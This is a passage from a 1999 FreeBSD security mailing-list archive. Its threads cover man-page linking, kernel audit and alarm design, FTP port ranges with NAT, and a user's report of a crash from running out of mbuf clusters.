(envelope-from parag@pinhead.parag.codegen.com) Received: from pinhead.parag.codegen.com (parag@localhost.parag.codegen.com [127.0.0.1]) by pinhead.parag.codegen.com (8.9.3/8.9.3) with ESMTP id MAA93594; Sun, 19 Sep 1999 12:01:30 -0700 (PDT) (envelope-from parag@pinhead.parag.codegen.com) To: "Rodney W. Grimes" Cc: peter@netplex.com.au (Peter Wemm), brett@lariat.org (Brett Glass), nbm@mithrandr.moria.org (Neil Blakey-Milner), dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG, nik@FreeBSD.ORG (Nik Clayton) Subject: Re: Documentation of security features In-Reply-To: Message from "Rodney W. Grimes" of "Sun, 19 Sep 1999 11:26:09 PDT." <199909191826.LAA55659@gndrsh.dnsmgr.net> X-Face: =O'Kj74icvU|oS*<7gS/8'\Pbpm}okVj*@UC!IgkmZQAO!W[|iBiMs*|)n*`X ]pW%m>Oz_mK^Gdazsr.Z0/JsFS1uF8gBVIoChGwOy{EK=<6g?aHE`[\S]C]T0Wm X-URL: http://www.codegen.com Date: Sun, 19 Sep 1999 12:01:30 -0700 Message-ID: <93590.937767690@pinhead.parag.codegen.com> From: Parag Patel Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >A pwd right here would probably tell us just what this person has >``done wrong''. I'll bet you they are looking in /usr/share/man/cat1, >not /usr/share/man/man1. > >> > ls: bg.1.gz: No such file or directory >> > 102728 -rw-r--r-- 1 man bin 24620 Aug 30 1998 csh.1.gz >> > 102909 -rw-r--r-- 1 man bin 24620 Sep 17 11:00 fg.1.gz Hm - that's curious. Here's what is in my cat1 directory: $ pwd /usr/share/man/cat1 $ ll csh* bg* fg.* -rw-r--r-- 16 man wheel 24712 Aug 14 03:49 bg.1.gz -rw-r--r-- 16 man wheel 24712 Aug 14 03:49 csh.1.gz -rw-r--r-- 16 man wheel 24712 Aug 14 03:49 fg.1.gz The man1/ files are also linked here. $ uname -a FreeBSD pinhead.parag.codegen.com 3.2-STABLE FreeBSD 3.2-STABLE #11: Mon Aug 23 11:21:01 PDT 1999 root@pinhead.parag.codegen.com:/usr/src/sys/compile/PINHEAD i386 I run "catman `manpath`" weekly using my own 900.my-catman script, whereas the standard 330.catman weekly periodic script runs /usr/libexec/catman.local directly. I'd originally done this as I've added some additional directories to /etc/manpath.config (for pgsql and pilot and such) subdirs, but perhaps it's taking care of the linking. -- Parag Patel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 12:14:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id EDEFC158CD for ; Sun, 19 Sep 1999 12:14:14 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA15999; Sun, 19 Sep 1999 13:13:28 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id NAA25668; Sun, 19 Sep 1999 13:13:23 -0600 Date: Sun, 19 Sep 1999 13:13:23 -0600 Message-Id: <199909191913.NAA25668@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Jordan K. Hubbard" Cc: "Rodney W. Grimes" , imp@village.org (Warner Losh), wes@softweyr.com (Wes Peters), brett@lariat.org (Brett Glass), security@FreeBSD.ORG Subject: Re: BPF on in 3.3-RC GENERIC kernel In-Reply-To: <2091.937636119@localhost> References: <199909180624.XAA50611@gndrsh.dnsmgr.net> <2091.937636119@localhost> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm surprised nobody has brought up /dev/audit and the whole Digital > Unix approach to security (OS-level event monitoring and active > counter-measures). There is work in progress by both Robert Watson and myself for a project at work to do this. I attempted to work with Robert, but due to my own scheduling conflicts and his vacation this summer in Europe, it was difficult to get organized, so I'm off doing my own thing, and he is as well. I hope to have some early snapshots available around the first of the year of /dev/audit functionality for FreeBSD. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 12:28: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 50B8A15714; Sun, 19 Sep 1999 12:28:00 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id MAA55935; Sun, 19 Sep 1999 12:25:05 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909191925.MAA55935@gndrsh.dnsmgr.net> Subject: Re: Documentation of security features In-Reply-To: <93590.937767690@pinhead.parag.codegen.com> from Parag Patel at "Sep 19, 1999 12:01:30 pm" To: parag@cgt.com (Parag Patel) Date: Sun, 19 Sep 1999 12:25:05 -0700 (PDT) Cc: peter@netplex.com.au (Peter Wemm), brett@lariat.org (Brett Glass), nbm@mithrandr.moria.org (Neil Blakey-Milner), dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG, nik@FreeBSD.ORG (Nik Clayton) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org /usr/sbin/catman deals with links automagically and will infact populate /usr/share/man/cat* with linked copies. > > >A pwd right here would probably tell us just what this person has > >``done wrong''. I'll bet you they are looking in /usr/share/man/cat1, > >not /usr/share/man/man1. > > > >> > ls: bg.1.gz: No such file or directory > >> > 102728 -rw-r--r-- 1 man bin 24620 Aug 30 1998 csh.1.gz > >> > 102909 -rw-r--r-- 1 man bin 24620 Sep 17 11:00 fg.1.gz > > Hm - that's curious. Here's what is in my cat1 directory: > > $ pwd > /usr/share/man/cat1 > $ ll csh* bg* fg.* > -rw-r--r-- 16 man wheel 24712 Aug 14 03:49 bg.1.gz > -rw-r--r-- 16 man wheel 24712 Aug 14 03:49 csh.1.gz > -rw-r--r-- 16 man wheel 24712 Aug 14 03:49 fg.1.gz > > The man1/ files are also linked here. > > $ uname -a > FreeBSD pinhead.parag.codegen.com 3.2-STABLE FreeBSD 3.2-STABLE #11: Mon Aug 23 11:21:01 PDT 1999 root@pinhead.parag.codegen.com:/usr/src/sys/compile/PINHEAD i386 > > I run "catman `manpath`" weekly using my own 900.my-catman script, > whereas the standard 330.catman weekly periodic script runs > /usr/libexec/catman.local directly. I'd originally done this as I've > added some additional directories to /etc/manpath.config (for pgsql and > pilot and such) subdirs, but perhaps it's taking care of the linking. > > > -- Parag Patel > -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 12:34: 6 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id F034014BF6 for ; Sun, 19 Sep 1999 12:34:00 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA16212; Sun, 19 Sep 1999 13:33:49 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id NAA25843; Sun, 19 Sep 1999 13:33:48 -0600 Date: Sun, 19 Sep 1999 13:33:48 -0600 Message-Id: <199909191933.NAA25843@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Brett Glass Cc: Wes Peters , "Rodney W. Grimes" , Warner Losh , security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <4.2.0.58.19990918201409.047f9f00@localhost> References: <199909180612.AAA00597@harmony.village.org> <4.2.0.58.19990918093306.047917c0@localhost> <37E4449B.ADDD68EE@softweyr.com> <4.2.0.58.19990918201409.047f9f00@localhost> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >This is what we're talking about with the auditing facility. There are > >a lot of architectural issues to be solved, starting with "what is an > >alarm" and ending with "how do I securely transmit the alarms to those > >who need to know about them"? > > > >Fun stuff, eh? > Loads. My company is doing alot of research work in this area, and I'm involved on the periphery on a number of them. Suffice it to say that there are some huge hurdles to cross that no-one has any good ideas on how to solve the problems. > Indeed. Fortunately, many of the tools are already available. E-mail comes > to mind as the simplest solution to the above, though certainly not the > only one. And a very poor one. Email is trivial to forge and/or snarf, and is not secure by any stretch of the imagination. One of the rules that you must think is that 1) They have root, you just don't know it. No system is 100% secure (except one that is smashed into billions of tiny pieces), and there is no way to completely protect a system from being broken into. If you believe that it is possible, then the conversation can stop. 2) You want to be informed that they *have* broken into the system ASAP. The bottom line is that you want to make your system difficult to get into, as well as make it *very* hard for them to do anything bad on the system before you have a chance to respond. Case in point. Tripwire is *NOT* a breakin-avoidance system, it's a breakin-detection system. Breakin detection systems are at best poor and at worst useless, and so far no-one has found a way to make them any better. :( Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 15: 2:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from secure.smtp.email.msn.com (cpimssmtpu07.email.msn.com [207.46.181.28]) by hub.freebsd.org (Postfix) with ESMTP id 39A4B150E3 for ; Sun, 19 Sep 1999 15:02:53 -0700 (PDT) (envelope-from JHowie@msn.com) Received: from JHowie - 216.103.48.12 by email.msn.com with Microsoft SMTPSVC; Sun, 19 Sep 1999 15:01:54 -0700 Message-ID: <003f01bf02eb$bc3f0500$fd01a8c0@pacbell.net> From: "John Howie" To: , "Brett Glass" References: <4.2.0.58.19990917090848.04e582e0@localhost> Subject: Re: Best way to do FTP with NAT and firewall? Date: Sun, 19 Sep 1999 15:10:07 -0700 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org As a side issue, the man page for FTP is wrong about the port range it uses for data connections. The man page (in 3.2-RELEASE) says that ports in the range 40000 to 44999 are used. Checking /usr/include/netinet/in.h you'll find the portrange is actually 49152 - 65535. And the FTP client uses this too... john... ----- Original Message ----- From: Brett Glass To: Sent: Friday, September 17, 1999 8:16 AM Subject: Best way to do FTP with NAT and firewall? > I've just set up a firewall for a client using ipfw and natd. Trouble is, his software seems to be particularly insistent on doing active, rather than passive, FTP. This poses a problem, of course, because a remote system can't open just data sockets to one behind the firewall due to NAT. > > I've worked with plenty of commercial firewalls that monitor FTP control connections and spoof the port number for the data sockets. SLiRP does it; so, apparently, does the pppd that comes with FreeBSD. But I can't find any documented way to do it with ipfw and natd. > > Are there undocumented commands to accomplish this? > > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 17:12:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 9D7CE152E9 for ; Sun, 19 Sep 1999 17:12:36 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA06250; Sun, 19 Sep 1999 18:12:01 -0600 (MDT) Message-Id: <4.2.0.58.19990919175752.04577a20@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 18:11:52 -0600 To: nate@mt.sri.com (Nate Williams) From: Brett Glass Subject: Re: Real-time alarms Cc: Wes Peters , "Rodney W. Grimes" , Warner Losh , security@FreeBSD.ORG In-Reply-To: <199909191933.NAA25843@mt.sri.com> References: <4.2.0.58.19990918201409.047f9f00@localhost> <199909180612.AAA00597@harmony.village.org> <4.2.0.58.19990918093306.047917c0@localhost> <37E4449B.ADDD68EE@softweyr.com> <4.2.0.58.19990918201409.047f9f00@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:33 PM 9/19/99 -0600, Nate Williams wrote: >Email is trivial to forge With strong encryption? >and/or snarf, Depends how it's done. >and is not >secure by any stretch of the imagination. More strides have been made toward good security for e-mail than for any other type of computer facility. Why? because e-mail is the thing that people, overall, MOST want to be secure. That's the reason why I suggest it. It's not always the ideal method for secure notification, but the ways of authenticating and securing it are better developed than for other methods. So, it may be the best bet, at least to start. >Case in point. Tripwire is *NOT* a breakin-avoidance system, it's a >breakin-detection system. Breakin detection systems are at best poor >and at worst useless, and so far no-one has found a way to make them any >better. :( Break-in detection systems work very well in the physical world, where -- as we all know -- it's ultimately possible to break into nearly anything if you employ sufficient force or defeat a perimeter defense. They're especially valuable in multi-layered security systems, where they can detect a breach of an outer perimeter and report it before an intruder can get through an inner perimeter. I think they're a valuable asset in the virtual world, too, especially if used in conjunction with multi-layered security. In BSD UNIX, "securelevels," immutable files, etc. are the as-not-yet-perfected inner layer. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 17:19:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 9325E15411; Sun, 19 Sep 1999 17:19:05 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA06292; Sun, 19 Sep 1999 18:18:41 -0600 (MDT) Message-Id: <4.2.0.58.19990919181430.045dd330@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 18:18:32 -0600 To: Jobe From: Brett Glass Subject: Re: Documentation of security features Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton In-Reply-To: References: <4.2.0.58.19990919112902.0479f380@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:44 AM 9/19/99 -0600, Jobe wrote: >So enlighten me, what 'key security' options do the size of the documented >man pages define? Is there some obscure denial of service attack related >to the size of the man pages?!? And as for the links for securelevel and >similar things, what the hell does this man page problem have to do with >that? If administrators can't find documentation, they won't be able to secure their systems easily -- and FreeBSD will gain an undeserved reputation for being less secure. Also, they'll ask the same questions repeatedly on mailing lists, etc. Any failure of the man system to guide users to the right answer -- or even give them a hint -- is something that should most certainly be fixed. Hence my comments, which I think are very much apropos. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 17:24:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id B928F15252; Sun, 19 Sep 1999 17:24:34 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id SAA06347; Sun, 19 Sep 1999 18:24:12 -0600 (MDT) Message-Id: <4.2.0.58.19990919181920.045dd8a0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 18:24:03 -0600 To: "Rodney W. Grimes" From: Brett Glass Subject: Re: Documentation of security features Cc: jobe@attrition.org (Jobe), nbm@mithrandr.moria.org (Neil Blakey-Milner), dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG, nik@FreeBSD.ORG (Nik Clayton) In-Reply-To: <199909191824.LAA55646@gndrsh.dnsmgr.net> References: <4.2.0.58.19990919112902.0479f380@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:24 AM 9/19/99 -0700, Rodney W. Grimes wrote: >It has been done for every shell command, that was the new builtin(1) >that was just recently commited. And from a quick look there are >78 of them, 78*23K is not a lot of space 1.8MB. But the bigger >picture is that when you now say ``man fg'' you should get the >new builtin(1) man page, which is far smaller (uncompressed: >-r--r--r-- 1 root wheel 7195 Sep 19 11:18 builtin.1). This >man page refers you to sh(1), or csh(1) for full details. This >should greatly reduce the size of the clutter (562KBytes uncompressed). This is good. >Now there is one more problem, and that is what I think is really >going on here with the person reporting non-linked files. They are >looking in /usr/share/man/cat* at the formatted cache, now that can >grow as man(1)'s cache can't tell if the source files are hard linked >and generates an individual formatted copy for each man entry, even >if it already has it filed under another name. This is something that ought to be fixed. The easiest solution that comes to mind is to replace the hard links with symlinks. man can trivially detect when it's following a symlink and what the symlink points to, and so can avoid caching the same page under multiple names. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 18: 9:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from secondary.truckmaster.com (ns2.truckmaster.com [204.134.205.68]) by hub.freebsd.org (Postfix) with SMTP id 2207815323 for ; Sun, 19 Sep 1999 18:09:43 -0700 (PDT) (envelope-from cstone@secondary.truckmaster.com) Received: (qmail 9597 invoked by uid 500); 20 Sep 1999 01:15:22 -0000 Message-ID: <19990919191521.A2048@pobox.com> Date: Sun, 19 Sep 1999 19:15:21 -0600 From: cstone@pobox.com To: Brett Glass Cc: freebsd-security@freebsd.org Subject: Re: Real-time alarms Mail-Followup-To: Brett Glass , freebsd-security@freebsd.org References: <4.2.0.58.19990918201409.047f9f00@localhost> <199909180612.AAA00597@harmony.village.org> <4.2.0.58.19990918093306.047917c0@localhost> <37E4449B.ADDD68EE@softweyr.com> <4.2.0.58.19990918201409.047f9f00@localhost> <199909191933.NAA25843@mt.sri.com> <4.2.0.58.19990919175752.04577a20@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1 In-Reply-To: <4.2.0.58.19990919175752.04577a20@localhost>; from Brett Glass on Sun, Sep 19, 1999 at 06:11:52PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Sep 19, 1999 at 06:11:52PM -0600, Brett Glass wrote: > At 01:33 PM 9/19/99 -0600, Nate Williams wrote: > > >Email is trivial to forge > > With strong encryption? Possibly so, if you're dealing with a compromise of the agent which is sending the mail. > >and/or snarf, > > Depends how it's done. > > >and is not > >secure by any stretch of the imagination. > > More strides have been made toward good security for e-mail than for > any other type of computer facility. Why? because e-mail is the thing > that people, overall, MOST want to be secure. > That's the reason why I suggest it. It's not always the ideal method > for secure notification, but the ways of authenticating and securing it > are better developed than for other methods. So, it may be the best bet, > at least to start. I agree that report generation by mail would be a useful facility, but I think that there should be a standard entity dedicated to receiving alert/activity data and (if necessary) acting on that data. There are several other notification mechanisms which could be useful as well, but they are all relatively easily implemented. It is important that notification be as flexible as possible. The real issues, at this point, are the choices behind the code which is gathering activity data and the criteria which define an alert. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 18:50: 1 1999 Delivered-To: freebsd-security@freebsd.org Received: from postman.bahianet.com.br (postman.bahianet.com.br [200.223.88.38]) by hub.freebsd.org (Postfix) with ESMTP id DC1F7159FB; Sun, 19 Sep 1999 18:49:38 -0700 (PDT) (envelope-from jcarlos@bahianet.com.br) Received: from jcarlos (jcarlos.bahianet.com.br [200.223.88.250]) by postman.bahianet.com.br (8.9.3/8.9.3) with SMTP id WAA12813; Sun, 19 Sep 1999 22:49:50 -0300 (EST) Message-ID: <000501bf030a$ac70e7a0$fa58dfc8@bahianet.com.br> From: "Joao Carlos" To: , , Cc: Subject: Out of mbuf clusters Date: Sun, 19 Sep 1999 22:51:35 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm running FreeBSD 3.3-STABLE, and compiled a kernel with 64 maxusers. It gives me somethink like 1048 processes. I don't know if it's a bug, or whatever, but i got crazy when i tested a program called CLONE on a IRC Server running i this machine. Before arriving 1024 connections on te IRCD, (NOTE: nothing more like httpd, squid, etc were running), The machine crashed, with the following message: Sep 19 22:30:04 unix2 /kernel: Out of mbuf clusters - adjust NMBCLUSTERS or increase maxusers! well, i recompiled the kernel with 512 maxusers (more than that config gives warning... why?). I was waiting that at least more tha 1024 connections it would support, but with a little more than 980 (couldn't get the exact number) the machine crashed with the same message. Well, with 512 maxusers i have more than 8000 processes... so.. why this? why does config warning abou kernels with more than 512 maxusers? I know that IRCD can have a bug that does not support more than 1024 connections, but i think the FreeBSD boxes does not have to crash. The machine goes down booting without umounting, and then i have to check forced my disks. Can anyone tell me why is it happening? I'm afraid this can get something exploitable for iRC Server machines!!!! Thanks Joao Carlos jcarlos@bahianet.com.br To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 18:55:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 9A01B15A12 for ; Sun, 19 Sep 1999 18:55:38 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id SAA56892; Sun, 19 Sep 1999 18:54:51 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909200154.SAA56892@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: <4.2.0.58.19990919175752.04577a20@localhost> from Brett Glass at "Sep 19, 1999 06:11:52 pm" To: brett@lariat.org (Brett Glass) Date: Sun, 19 Sep 1999 18:54:50 -0700 (PDT) Cc: nate@mt.sri.com (Nate Williams), wes@softweyr.com (Wes Peters), imp@village.org (Warner Losh), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > At 01:33 PM 9/19/99 -0600, Nate Williams wrote: > > >Email is trivial to forge > > With strong encryption? Lets see, we are trying to secure on OS, so lets go out and use one of the most common ways to break into the system as a means of conveying our security informatin. NOT!! > > >and/or snarf, > > Depends how it's done. And it is easy to cause it to be delayed and or lost by continual injection of bad IP data into the network stream. > > >and is not > >secure by any stretch of the imagination. > > More strides have been made toward good security for e-mail than for > any other type of computer facility. Why? because e-mail is the thing > that people, overall, MOST want to be secure. > > That's the reason why I suggest it. It's not always the ideal method > for secure notification, but the ways of authenticating and securing it > are better developed than for other methods. So, it may be the best bet, > at least to start. Before we can even think about this far flung idea we need need to get it secured locally on the box that is creating the audit data. Your talking about a consumer of the implementation, which needs to come after the implementation is done. > > >Case in point. Tripwire is *NOT* a breakin-avoidance system, it's a > >breakin-detection system. Breakin detection systems are at best poor > >and at worst useless, and so far no-one has found a way to make them any > >better. :( > > Break-in detection systems work very well in the physical world, where -- > as we all know -- it's ultimately possible to break into nearly > anything if you employ sufficient force or defeat a perimeter defense. If you say ``nearly anything'' you haven't been around the security business very long, the correct wording is ``all things''. > They're especially valuable in multi-layered security systems, where > they can detect a breach of an outer perimeter and report it before > an intruder can get through an inner perimeter. And you surely don't want you notification mechanism to be a something that lives in that ``outer permiter'' now do you. That is where e-mail, particularly sendmail, lives. > > I think they're a valuable asset in the virtual world, too, especially > if used in conjunction with multi-layered security. In BSD UNIX, > "securelevels," immutable files, etc. are the as-not-yet-perfected > inner layer. and /dev/audit is also part of the inner layer and can not depend upon mechansims in the outer layer to operate correctly. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 18:56:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0461615C78 for ; Sun, 19 Sep 1999 18:56:16 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id TAA06931; Sun, 19 Sep 1999 19:51:06 -0600 (MDT) Message-Id: <4.2.0.58.19990919193342.045d15d0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 19:50:52 -0600 To: cstone@pobox.com From: Brett Glass Subject: Re: Real-time alarms Cc: freebsd-security@freebsd.org In-Reply-To: <19990919191521.A2048@pobox.com> References: <4.2.0.58.19990919175752.04577a20@localhost> <4.2.0.58.19990918201409.047f9f00@localhost> <199909180612.AAA00597@harmony.village.org> <4.2.0.58.19990918093306.047917c0@localhost> <37E4449B.ADDD68EE@softweyr.com> <4.2.0.58.19990918201409.047f9f00@localhost> <199909191933.NAA25843@mt.sri.com> <4.2.0.58.19990919175752.04577a20@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:15 PM 9/19/99 -0600, cstone@pobox.com wrote: >I agree that report generation by mail would be a useful facility, but I >think that there should be a standard entity dedicated to receiving >alert/activity data and (if necessary) acting on that data. There are >several other notification mechanisms which could be useful as well, but >they are all relatively easily implemented. Good point. It should be easy to "plug" different notification systems into the detection system. >It is important that >notification be as flexible as possible. The real issues, at this >point, are the choices behind the code which is gathering activity data >and the criteria which define an alert. Agreed. And these, too, should be flexible and probably rule-based. The key thing, again, is that security be multi-layered. Originally, UNIX had a single point of failure: gain root, and the game is over. But if there are more layers, it's safer. Look at how we secure banks in the real world. Most likely, there's not only an alarm on the bank's doors but also more alarms -- perhaps motion detectors -- that will be set off as one approaches the vault. The door of the vault is locked and alarmed, and there are lockboxes inside the vault, too. And there are security cameras all over. When an intruder sets off one of the alarms outside the vault, there's still time to stop him before he gets inside. If he manages to breach the vault, there are more alarms to alert the police before he's able to get into the lockboxes and get away with the contents. Finally, as a last resort, one can at least find out who broke in by looking at the images from the security cameras. UNIX, at the beginning, had nothing but a lock on the front door of the bank. Orange Book Class C security adds lots of security cameras, limits the number of doors, and makes the doors a bit stronger. We now need to work on the rest. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 19: 1: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 09447159FB for ; Sun, 19 Sep 1999 19:00:52 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id UAA07030; Sun, 19 Sep 1999 20:00:31 -0600 (MDT) Message-Id: <4.2.0.58.19990919195722.047b2e20@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 20:00:12 -0600 To: "Rodney W. Grimes" From: Brett Glass Subject: Re: Real-time alarms Cc: nate@mt.sri.com (Nate Williams), wes@softweyr.com (Wes Peters), imp@village.org (Warner Losh), security@FreeBSD.ORG In-Reply-To: <199909200154.SAA56892@gndrsh.dnsmgr.net> References: <4.2.0.58.19990919175752.04577a20@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:54 PM 9/19/99 -0700, Rodney W. Grimes wrote: >And you surely don't want you notification mechanism to be a something >that lives in that ``outer permiter'' now do you. That is where e-mail, >particularly sendmail, lives. Who says that the agent that sends the notifications needs to go through sendmail? (It's pretty trivial to do SMTP directly.) Or that sendmail should be in the outer perimeter? (It's a good idea to sandbox sendmail and BIND; I believe that 